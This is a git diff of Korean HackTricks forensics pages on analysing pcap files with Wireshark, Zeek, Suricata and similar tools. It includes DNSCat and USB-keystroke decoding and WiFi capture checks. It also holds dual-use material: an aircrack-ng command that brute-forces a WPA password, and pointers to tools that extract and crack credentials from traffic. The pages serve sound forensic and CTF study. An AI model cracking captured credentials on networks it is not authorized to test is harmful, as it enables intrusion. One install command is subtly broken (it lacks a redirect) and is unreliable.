* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 귀하의 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,319 @@
|
|||
# Pcap 검사
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/)은 **스페인**에서 가장 관련성 높은 사이버 보안 행사이며 **유럽**에서 가장 중요한 행사 중 하나입니다. **기술적인 지식을 촉진**하기 위한 미션을 가진 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들에게 열정적인 만남의 장입니다.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
{% hint style="info" %}
|
||||
**PCAP** 대 **PCAPNG**에 대한 참고 사항: PCAP 파일 형식에는 두 가지 버전이 있습니다. **PCAPNG은 더 최신이며 모든 도구에서 지원되지 않습니다**. 다른 도구에서 작업하기 위해 파일을 PCAPNG에서 PCAP으로 변환해야 할 수도 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
## PCAP을 위한 온라인 도구
|
||||
|
||||
* PCAP의 헤더가 **손상**된 경우 [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php)를 사용하여 **수정**을 시도해야 합니다.
|
||||
* [**PacketTotal**](https://packettotal.com)에서 pcap 내에서 **정보**를 추출하고 **악성 코드**를 검색하세요.
|
||||
* [**www.virustotal.com**](https://www.virustotal.com) 및 [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com)을 사용하여 **악성 활동**을 검색하세요.
|
||||
|
||||
## 정보 추출
|
||||
|
||||
다음 도구는 통계, 파일 등을 추출하는 데 유용합니다.
|
||||
|
||||
### Wireshark
|
||||
|
||||
{% hint style="info" %}
|
||||
**PCAP를 분석할 예정이라면 Wireshark 사용 방법을 알아야 합니다.**
|
||||
{% endhint %}
|
||||
|
||||
Wireshark의 몇 가지 트릭을 다음에서 찾을 수 있습니다:
|
||||
|
||||
{% content-ref url="wireshark-tricks.md" %}
|
||||
[wireshark-tricks.md](wireshark-tricks.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Xplico Framework
|
||||
|
||||
[**Xplico** ](https://github.com/xplico/xplico)_(only linux)_는 **pcap**을 분석하고 정보를 추출할 수 있습니다. 예를 들어, pcap 파일에서 Xplico는 각 이메일 (POP, IMAP 및 SMTP 프로토콜), 모든 HTTP 콘텐츠, 각 VoIP 통화 (SIP), FTP, TFTP 등을 추출합니다.
|
||||
|
||||
**설치**
|
||||
```bash
|
||||
sudo bash -c 'echo "deb http://repo.xplico.org/ $(lsb_release -s -c) main" /etc/apt/sources.list'
|
||||
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 791C25CE
|
||||
sudo apt-get update
|
||||
sudo apt-get install xplico
|
||||
```
|
||||
**실행**
|
||||
```
|
||||
/etc/init.d/apache2 restart
|
||||
/etc/init.d/xplico start
|
||||
```
|
||||
_**127.0.0.1:9876**_에 _**xplico:xplico**_ 자격 증명으로 액세스합니다.
|
||||
|
||||
그런 다음 **새로운 사례**를 만들고 사례 내에서 **새로운 세션**을 만들고 **pcap** 파일을 **업로드**합니다.
|
||||
|
||||
### NetworkMiner
|
||||
|
||||
Xplico와 마찬가지로 pcap에서 **객체를 분석하고 추출하는 도구**입니다. [**여기에서**](https://www.netresec.com/?page=NetworkMiner) 무료 버전을 **다운로드**할 수 있습니다. **Windows**와 호환됩니다.\
|
||||
이 도구는 패킷에서 **다른 정보를 분석**하여 더 **빠르게** 무슨 일이 일어났는지 알 수 있도록 도움이 됩니다.
|
||||
|
||||
### NetWitness Investigator
|
||||
|
||||
[**여기에서 NetWitness Investigator를 다운로드**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware)할 수 있습니다. **(Windows에서 작동합니다)**.\
|
||||
이는 패킷을 **분석**하고 정보를 유용한 방식으로 **정렬하여 내부에서 무슨 일이 일어나고 있는지 알 수 있는** 또 다른 유용한 도구입니다.
|
||||
|
||||
### [BruteShark](https://github.com/odedshimon/BruteShark)
|
||||
|
||||
* 사용자 이름과 암호 추출 및 인코딩 (HTTP, FTP, Telnet, IMAP, SMTP...)
|
||||
* 인증 해시 추출 및 Hashcat을 사용하여 해독 (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...)
|
||||
* 시각적 네트워크 다이어그램 작성 (네트워크 노드 및 사용자)
|
||||
* DNS 쿼리 추출
|
||||
* 모든 TCP 및 UDP 세션 재구성
|
||||
* 파일 조각 추출
|
||||
|
||||
### Capinfos
|
||||
```
|
||||
capinfos capture.pcap
|
||||
```
|
||||
### Ngrep
|
||||
|
||||
pcap 내에서 **무언가**를 **찾고** 있다면 **ngrep**을 사용할 수 있습니다. 다음은 주요 필터를 사용한 예시입니다:
|
||||
```bash
|
||||
ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.168 and src host 192.168"
|
||||
```
|
||||
### 조각내기
|
||||
|
||||
일반적인 조각내기 기술을 사용하여 pcap에서 파일과 정보를 추출하는 데 유용할 수 있습니다:
|
||||
|
||||
{% content-ref url="../partitions-file-systems-carving/file-data-carving-recovery-tools.md" %}
|
||||
[file-data-carving-recovery-tools.md](../partitions-file-systems-carving/file-data-carving-recovery-tools.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### 자격 증명 캡처
|
||||
|
||||
[https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz)와 같은 도구를 사용하여 pcap 또는 실시간 인터페이스에서 자격 증명을 구문 분석할 수 있습니다.
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/)은 **스페인**에서 가장 관련성 있는 사이버 보안 행사 중 하나로 **유럽**에서 가장 중요한 행사 중 하나입니다. **기술적인 지식을 촉진하는 미션**을 가지고 있는 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들에게 열정적인 만남의 장입니다.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
## Exploits/Malware 확인
|
||||
|
||||
### Suricata
|
||||
|
||||
**설치 및 설정**
|
||||
```
|
||||
apt-get install suricata
|
||||
apt-get install oinkmaster
|
||||
echo "url = http://rules.emergingthreats.net/open/suricata/emerging.rules.tar.gz" >> /etc/oinkmaster.conf
|
||||
oinkmaster -C /etc/oinkmaster.conf -o /etc/suricata/rules
|
||||
```
|
||||
**pcap 확인**
|
||||
|
||||
To analyze network traffic and investigate potential security incidents, it is often necessary to inspect pcap (Packet Capture) files. These files contain recorded network packets that can provide valuable information about network communications.
|
||||
|
||||
To check a pcap file, you can use various tools such as Wireshark, tcpdump, or tshark. These tools allow you to open the pcap file and view its contents, including the captured packets, their headers, and payload data.
|
||||
|
||||
By inspecting the pcap file, you can identify various network activities, such as HTTP requests, DNS queries, FTP transfers, or even suspicious traffic patterns. This information can help you understand the behavior of network devices, detect anomalies, and uncover potential security breaches.
|
||||
|
||||
When analyzing a pcap file, it is important to focus on specific aspects, such as source and destination IP addresses, port numbers, protocol types, and packet payloads. By examining these details, you can gain insights into the network traffic and identify any malicious or unauthorized activities.
|
||||
|
||||
In addition to manual inspection, you can also automate the analysis of pcap files using scripting languages like Python. This allows you to extract specific information from the pcap file, filter packets based on criteria, and perform more advanced analysis techniques.
|
||||
|
||||
Overall, checking pcap files is an essential step in the forensic investigation process. It helps uncover evidence, understand network behavior, and identify potential security threats.
|
||||
```
|
||||
suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log
|
||||
```
|
||||
### YaraPcap
|
||||
|
||||
[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap)는 다음과 같은 기능을 수행하는 도구입니다.
|
||||
|
||||
* PCAP 파일을 읽고 HTTP 스트림을 추출합니다.
|
||||
* 압축된 스트림을 gzip으로 해제합니다.
|
||||
* 모든 파일을 Yara로 스캔합니다.
|
||||
* report.txt를 작성합니다.
|
||||
* 필요한 경우 일치하는 파일을 디렉토리에 저장합니다.
|
||||
|
||||
### 악성코드 분석
|
||||
|
||||
알려진 악성코드의 지문을 찾을 수 있는지 확인하세요:
|
||||
|
||||
{% content-ref url="../malware-analysis.md" %}
|
||||
[malware-analysis.md](../malware-analysis.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Zeek
|
||||
|
||||
> [Zeek](https://docs.zeek.org/en/master/about.html)는 수동적인 오픈 소스 네트워크 트래픽 분석기입니다. 많은 운영자들은 의심스러운 또는 악성 활동의 조사를 지원하기 위해 Zeek를 네트워크 보안 모니터(NSM)로 사용합니다. Zeek는 보안 도메인을 넘어서 성능 측정 및 문제 해결을 포함한 다양한 트래픽 분석 작업을 지원합니다.
|
||||
|
||||
기본적으로 `zeek`가 생성하는 로그는 **pcap**이 아닙니다. 따라서 **다른 도구**를 사용하여 pcap에 대한 정보를 분석해야 합니다.
|
||||
|
||||
### 연결 정보
|
||||
```bash
|
||||
#Get info about longest connections (add "grep udp" to see only udp traffic)
|
||||
#The longest connection might be of malware (constant reverse shell?)
|
||||
cat conn.log | zeek-cut id.orig_h id.orig_p id.resp_h id.resp_p proto service duration | sort -nrk 7 | head -n 10
|
||||
|
||||
10.55.100.100 49778 65.52.108.225 443 tcp - 86222.365445
|
||||
10.55.100.107 56099 111.221.29.113 443 tcp - 86220.126151
|
||||
10.55.100.110 60168 40.77.229.82 443 tcp - 86160.119664
|
||||
|
||||
|
||||
#Improve the metrics by summing up the total duration time for connections that have the same destination IP and Port.
|
||||
cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p proto duration | awk 'BEGIN{ FS="\t" } { arr[$1 FS $2 FS $3 FS $4] += $5 } END{ for (key in arr) printf "%s%s%s\n", key, FS, arr[key] }' | sort -nrk 5 | head -n 10
|
||||
|
||||
10.55.100.100 65.52.108.225 443 tcp 86222.4
|
||||
10.55.100.107 111.221.29.113 443 tcp 86220.1
|
||||
10.55.100.110 40.77.229.82 443 tcp 86160.1
|
||||
|
||||
#Get the number of connections summed up per each line
|
||||
cat conn.log | zeek-cut id.orig_h id.resp_h duration | awk 'BEGIN{ FS="\t" } { arr[$1 FS $2] += $3; count[$1 FS $2] += 1 } END{ for (key in arr) printf "%s%s%s%s%s\n", key, FS, count[key], FS, arr[key] }' | sort -nrk 4 | head -n 10
|
||||
|
||||
10.55.100.100 65.52.108.225 1 86222.4
|
||||
10.55.100.107 111.221.29.113 1 86220.1
|
||||
10.55.100.110 40.77.229.82 134 86160.1
|
||||
|
||||
#Check if any IP is connecting to 1.1.1.1
|
||||
cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p proto service | grep '1.1.1.1' | sort | uniq -c
|
||||
|
||||
#Get number of connections per source IP, dest IP and dest Port
|
||||
cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p proto | awk 'BEGIN{ FS="\t" } { arr[$1 FS $2 FS $3 FS $4] += 1 } END{ for (key in arr) printf "%s%s%s\n", key, FS, arr[key] }' | sort -nrk 5 | head -n 10
|
||||
|
||||
|
||||
# RITA
|
||||
#Something similar can be done with the tool rita
|
||||
rita show-long-connections -H --limit 10 zeek_logs
|
||||
|
||||
+---------------+----------------+--------------------------+----------------+
|
||||
| SOURCE IP | DESTINATION IP | DSTPORT:PROTOCOL:SERVICE | DURATION |
|
||||
+---------------+----------------+--------------------------+----------------+
|
||||
| 10.55.100.100 | 65.52.108.225 | 443:tcp:- | 23h57m2.3655s |
|
||||
| 10.55.100.107 | 111.221.29.113 | 443:tcp:- | 23h57m0.1262s |
|
||||
| 10.55.100.110 | 40.77.229.82 | 443:tcp:- | 23h56m0.1197s |
|
||||
|
||||
#Get connections info from rita
|
||||
rita show-beacons zeek_logs | head -n 10
|
||||
Score,Source IP,Destination IP,Connections,Avg Bytes,Intvl Range,Size Range,Top Intvl,Top Size,Top Intvl Count,Top Size Count,Intvl Skew,Size Skew,Intvl Dispersion,Size Dispersion
|
||||
1,192.168.88.2,165.227.88.15,108858,197,860,182,1,89,53341,108319,0,0,0,0
|
||||
1,10.55.100.111,165.227.216.194,20054,92,29,52,1,52,7774,20053,0,0,0,0
|
||||
0.838,10.55.200.10,205.251.194.64,210,69,29398,4,300,70,109,205,0,0,0,0
|
||||
```
|
||||
### DNS 정보
|
||||
|
||||
DNS(Domain Name System)은 인터넷에서 도메인 이름을 IP 주소로 변환하는 시스템입니다. DNS 정보는 패킷 캡처 파일(pcap)을 검사하여 도메인 이름과 관련된 정보를 얻는 데 사용될 수 있습니다.
|
||||
|
||||
#### DNS 쿼리
|
||||
|
||||
DNS 쿼리는 도메인 이름을 IP 주소로 변환하기 위해 DNS 서버에 보내는 요청입니다. pcap 파일을 검사하여 DNS 쿼리를 확인할 수 있습니다. DNS 쿼리는 다음과 같은 형식을 가질 수 있습니다:
|
||||
|
||||
```
|
||||
[Query Name] [Query Type] [Query Class]
|
||||
```
|
||||
|
||||
- Query Name: 도메인 이름
|
||||
- Query Type: DNS 레코드 유형 (예: A, AAAA, MX 등)
|
||||
- Query Class: DNS 클래스 (일반적으로 IN)
|
||||
|
||||
#### DNS 응답
|
||||
|
||||
DNS 응답은 DNS 서버에서 도메인 이름에 대한 IP 주소 또는 기타 정보를 반환하는 것입니다. pcap 파일을 검사하여 DNS 응답을 확인할 수 있습니다. DNS 응답은 다음과 같은 형식을 가질 수 있습니다:
|
||||
|
||||
```
|
||||
[Query Name] [Query Type] [Query Class] [TTL] [Answer Type] [Answer Data]
|
||||
```
|
||||
|
||||
- Query Name: 도메인 이름
|
||||
- Query Type: DNS 레코드 유형 (예: A, AAAA, MX 등)
|
||||
- Query Class: DNS 클래스 (일반적으로 IN)
|
||||
- TTL (Time to Live): DNS 레코드의 유효 기간
|
||||
- Answer Type: 응답의 유형 (예: A, AAAA, MX 등)
|
||||
- Answer Data: 응답 데이터 (예: IP 주소, 메일 서버 등)
|
||||
|
||||
#### DNS 레코드 유형
|
||||
|
||||
DNS 레코드 유형은 DNS 쿼리 및 응답에서 사용되는 다양한 유형의 정보를 나타냅니다. 일부 일반적인 DNS 레코드 유형은 다음과 같습니다:
|
||||
|
||||
- A: 도메인 이름에 대한 IPv4 주소
|
||||
- AAAA: 도메인 이름에 대한 IPv6 주소
|
||||
- MX: 도메인 이름에 대한 메일 서버
|
||||
- NS: 도메인 이름에 대한 네임 서버
|
||||
- CNAME: 도메인 이름에 대한 별칭
|
||||
- TXT: 도메인 이름에 대한 텍스트 정보
|
||||
|
||||
#### DNS 정보 추출
|
||||
|
||||
pcap 파일을 검사하여 DNS 정보를 추출하는 방법은 다음과 같습니다:
|
||||
|
||||
1. pcap 파일을 Wireshark 또는 tcpdump와 같은 패킷 캡처 도구로 엽니다.
|
||||
2. DNS 쿼리 및 응답 패킷을 필터링합니다.
|
||||
3. 필터링된 패킷에서 DNS 쿼리 및 응답 정보를 확인합니다.
|
||||
4. 도메인 이름, IP 주소, DNS 레코드 유형 등의 정보를 기록합니다.
|
||||
|
||||
DNS 정보 추출은 네트워크 트래픽 분석 및 보안 조사에 유용한 도구입니다.
|
||||
```bash
|
||||
#Get info about each DNS request performed
|
||||
cat dns.log | zeek-cut -c id.orig_h query qtype_name answers
|
||||
|
||||
#Get the number of times each domain was requested and get the top 10
|
||||
cat dns.log | zeek-cut query | sort | uniq | rev | cut -d '.' -f 1-2 | rev | sort | uniq -c | sort -nr | head -n 10
|
||||
|
||||
#Get all the IPs
|
||||
cat dns.log | zeek-cut id.orig_h query | grep 'example\.com' | cut -f 1 | sort | uniq -c
|
||||
|
||||
#Sort the most common DNS record request (should be A)
|
||||
cat dns.log | zeek-cut qtype_name | sort | uniq -c | sort -nr
|
||||
|
||||
#See top DNS domain requested with rita
|
||||
rita show-exploded-dns -H --limit 10 zeek_logs
|
||||
```
|
||||
## 다른 pcap 분석 트릭
|
||||
|
||||
{% content-ref url="dnscat-exfiltration.md" %}
|
||||
[dnscat-exfiltration.md](dnscat-exfiltration.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% content-ref url="wifi-pcap-analysis.md" %}
|
||||
[wifi-pcap-analysis.md](wifi-pcap-analysis.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% content-ref url="usb-keystrokes.md" %}
|
||||
[usb-keystrokes.md](usb-keystrokes.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/)은 **스페인**에서 가장 관련성 높은 사이버 보안 행사이며 **유럽**에서 가장 중요한 행사 중 하나입니다. **기술적인 지식을 촉진하는 미션**을 가지고 있는 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들에게 열정적인 만남의 장입니다.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로에서 영웅까지 AWS 해킹 배우기**!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family)인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를** 팔로우하세요.
|
||||
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 **자신의 해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,57 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
DNSCat을 사용하여 데이터가 **암호화되지 않은 상태로 유출**되는 pcap이 있다면, 유출된 내용을 찾을 수 있습니다.
|
||||
|
||||
**첫 9바이트**는 실제 데이터가 아니라 **C\&C 통신과 관련**되어 있음을 알고 있어야 합니다.
|
||||
```python
|
||||
from scapy.all import rdpcap, DNSQR, DNSRR
|
||||
import struct
|
||||
|
||||
f = ""
|
||||
last = ""
|
||||
for p in rdpcap('ch21.pcap'):
|
||||
if p.haslayer(DNSQR) and not p.haslayer(DNSRR):
|
||||
|
||||
qry = p[DNSQR].qname.replace(".jz-n-bs.local.","").strip().split(".")
|
||||
qry = ''.join(_.decode('hex') for _ in qry)[9:]
|
||||
if last != qry:
|
||||
print(qry)
|
||||
f += qry
|
||||
last = qry
|
||||
|
||||
#print(f)
|
||||
```
|
||||
더 많은 정보를 원하시면 다음을 참조하세요: [https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap](https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap)\
|
||||
[https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md](https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md)
|
||||
|
||||
|
||||
Python3와 함께 작동하는 스크립트가 있습니다: [https://github.com/josemlwdf/DNScat-Decoder](https://github.com/josemlwdf/DNScat-Decoder)
|
||||
```
|
||||
python3 dnscat_decoder.py sample.pcap bad_domain
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,39 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
키보드와의 USB 통신을 포함한 pcap이 있다면 다음과 같은 도구 [**ctf-usb-keyboard-parser**](https://github.com/carlospolop-forks/ctf-usb-keyboard-parser)를 사용하여 통신 내용을 얻을 수 있습니다:
|
||||
```bash
|
||||
tshark -r ./usb.pcap -Y 'usb.capdata && usb.data_len == 8' -T fields -e usb.capdata | sed 's/../:&/g2' > keystrokes.txt
|
||||
python3 usbkeyboard.py ./keystrokes.txt
|
||||
```
|
||||
다음 링크에서 더 많은 정보를 읽고 분석하는 방법에 대한 스크립트를 찾을 수 있습니다:
|
||||
|
||||
* [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4)
|
||||
* [https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family)인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
|
||||
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,68 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 자신의 해킹 기법을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# BSSID 확인
|
||||
|
||||
WireShark를 사용하여 주요 트래픽이 Wifi인 캡처를 받으면 _Wireless --> WLAN Traffic_를 사용하여 캡처의 모든 SSID를 조사할 수 있습니다:
|
||||
|
||||
![](<../../../.gitbook/assets/image (424).png>)
|
||||
|
||||
![](<../../../.gitbook/assets/image (425).png>)
|
||||
|
||||
## 브루트 포스
|
||||
|
||||
해당 화면의 열 중 하나는 pcap 내에서 **인증이 발견되었는지 여부**를 나타냅니다. 그렇다면 `aircrack-ng`를 사용하여 브루트 포스를 시도할 수 있습니다:
|
||||
```bash
|
||||
aircrack-ng -w pwds-file.txt -b <BSSID> file.pcap
|
||||
```
|
||||
예를 들어, 나중에 트래픽을 해독하기 위해 필요한 PSK (사전 공유 키)를 보호하는 WPA 암호를 검색할 수 있습니다.
|
||||
|
||||
# 비콘 / 사이드 채널의 데이터
|
||||
|
||||
만약 **Wifi 네트워크의 비콘 내에서 데이터가 유출되고 있다고 의심**한다면, 다음과 같은 필터를 사용하여 네트워크의 비콘을 확인할 수 있습니다: `wlan contains <네트워크이름>`, 또는 `wlan.ssid == "네트워크이름"` 필터링된 패킷 내에서 의심스러운 문자열을 찾습니다.
|
||||
|
||||
# Wifi 네트워크에서 알 수 없는 MAC 주소 찾기
|
||||
|
||||
